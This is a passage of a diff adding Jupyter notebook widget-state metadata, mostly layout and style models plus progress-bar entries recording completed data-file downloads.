+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "919af07ec8a44e2e992b7aa4fd995ab9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "cd5bea65a88948bd8650bbf04e4e1426": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "baca3a29ad0f4b5e8a5b1980337b30bc": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6b548b8a9ceb4f31b913196c87c1afae": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "27228900fcc64b8e976c7cf674365f5e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_c081fea03098454ea2b7d58fa7cf44c4",
+              "IPY_MODEL_7429695252fb431593a5716dca6df965",
+              "IPY_MODEL_266cbfbc75c94b888682b24e7c72dfa7"
+            ],
+            "layout": "IPY_MODEL_93f772daaff14419a2d4dba53771c832"
+          }
+        },
+        "c081fea03098454ea2b7d58fa7cf44c4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_542f4c77c6754aecb778cc22775ceb9b",
+            "placeholder": "​",
+            "style": "IPY_MODEL_078e919df7e244408b32f1a988975238",
+            "value": "Downloading data files: 100%"
+          }
+        },
+        "7429695252fb431593a5716dca6df965": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_258f358dcafc49de94bd56fb8673c814",
+            "max": 2,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_d0f398fcac5741698b0ffb9ffa06d570",
+            "value": 2
+          }
+        },
+        "266cbfbc75c94b888682b24e7c72dfa7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_90b7882f5c6f4495b2d5e60bff88f2e2",
+            "placeholder": "​",
+            "style": "IPY_MODEL_02a3804cfb644596845bd94d485842b3",
+            "value": " 2/2 [00:05&lt;00:00,  2.51s/it]"
+          }
+        },
+        "93f772daaff14419a2d4dba53771c832": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "542f4c77c6754aecb778cc22775ceb9b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "078e919df7e244408b32f1a988975238": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "258f358dcafc49de94bd56fb8673c814": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d0f398fcac5741698b0ffb9ffa06d570": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "90b7882f5c6f4495b2d5e60bff88f2e2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "02a3804cfb644596845bd94d485842b3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3a90127f102749d49dc707462fa1493c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_fd48f90d37264a068726b5bb831f0e92",
+              "IPY_MODEL_6f1fc0ddf59941af8a8de728f69f13a9",
+              "IPY_MODEL_cc579e347402418fb3a56a9721608c2f"
+            ],
+            "layout": "IPY_MODEL_7656a7c366d84f868cfbe1fe078005b8"
+          }
+        },
+        "fd48f90d37264a068726b5bb831f0e92": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_68cc9adc5ffd4bd7b7603f523c799bdb",
+            "placeholder": "​",
+            "style": "IPY_MODEL_04bd3974f26d4fc286d011eaabb4a00f",
+            "value": "Downloading data: 100%"
+          }
+        },
+        "6f1fc0ddf59941af8a8de728f69f13a9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_16ca0d5112a84f7badd1ae6897871981",
+            "max": 1468812,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_905b964876754e62bb806d6d46dc2be2",
+            "value": 1468812
+          }
+        },
+        "cc579e347402418fb3a56a9721608c2f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_fe5cb317415544f2a9e66936e90a292a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_43f04b940546468eaea59dcca38a00aa",
+            "value": " 1.47M/1.47M [00:01&lt;00:00, 1.53MB/s]"
+          }
+        },
+        "7656a7c366d84f868cfbe1fe078005b8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "68cc9adc5ffd4bd7b7603f523c799bdb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "04bd3974f26d4fc286d011eaabb4a00f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "16ca0d5112a84f7badd1ae6897871981": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "905b964876754e62bb806d6d46dc2be2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "fe5cb317415544f2a9e66936e90a292a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "43f04b940546468eaea59dcca38a00aa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c85eb3cb9e364d65bf81da8d8695384d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_37705344130d4089845dfd50b66a2eca",
+              "IPY_MODEL_ec688e6024494c149700188621c7a28f",
+              "IPY_MODEL_a209766c96454174a5ca2571cc2821dc"
+            ],
+            "layout": "IPY_MODEL_38983df51690455397d3c3e95b512024"
+          }
+        },
+        "37705344130d4089845dfd50b66a2eca": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8fe4d9d70fc34de19885c5b423cc635d",
+            "placeholder": "​",
+            "style": "IPY_MODEL_05aba2b03a9a445b911b57a80f977e28",
+            "value": "Downloading data: 100%"
+          }
+        },
+        "ec688e6024494c149700188621c7a28f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d07eee50d63249ce8c888abbbd85d7f7",
+            "max": 489429,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_722edf64d41d420194d108bd34d1e6b4",
+            "value": 489429
+          }
+        },
+        "a209766c96454174a5ca2571cc2821dc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7732563834ed46dd8e19e520674f6cac",
+            "placeholder": "​",
+            "style": "IPY_MODEL_69be31cf3de941c4bf06a4e6359f387d",
+            "value": " 489k/489k [00:00&lt;00:00, 475kB/s]"
+          }
+        },
+        "38983df51690455397d3c3e95b512024": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8fe4d9d70fc34de19885c5b423cc635d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "05aba2b03a9a445b911b57a80f977e28": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d07eee50d63249ce8c888abbbd85d7f7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "722edf64d41d420194d108bd34d1e6b4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
